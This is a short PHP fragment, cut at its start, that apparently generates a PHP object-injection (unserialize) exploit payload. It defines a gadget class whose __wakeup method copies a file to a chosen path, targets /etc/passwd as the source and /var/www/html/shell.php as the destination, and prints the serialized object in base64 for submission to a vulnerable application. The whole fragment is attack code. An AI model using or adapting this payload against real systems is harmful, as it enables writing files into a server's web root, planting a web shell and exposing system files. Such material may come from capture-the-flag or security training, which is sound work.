imgPath = $imgPath; } public function save($tmp) { $f = fopen($this->imgPath, "w"); fwrite($f, file_get_contents($tmp)); fclose($f); } } class AvatarInterface { public $tmp = "/etc/passwd"; public $imgPath = "/var/www/html/shell.php"; public function __wakeup() { $a = new Avatar($this->imgPath); $a->save($this->tmp); } } $a = new AvatarInterface(); echo base64_encode(serialize($a)); ?>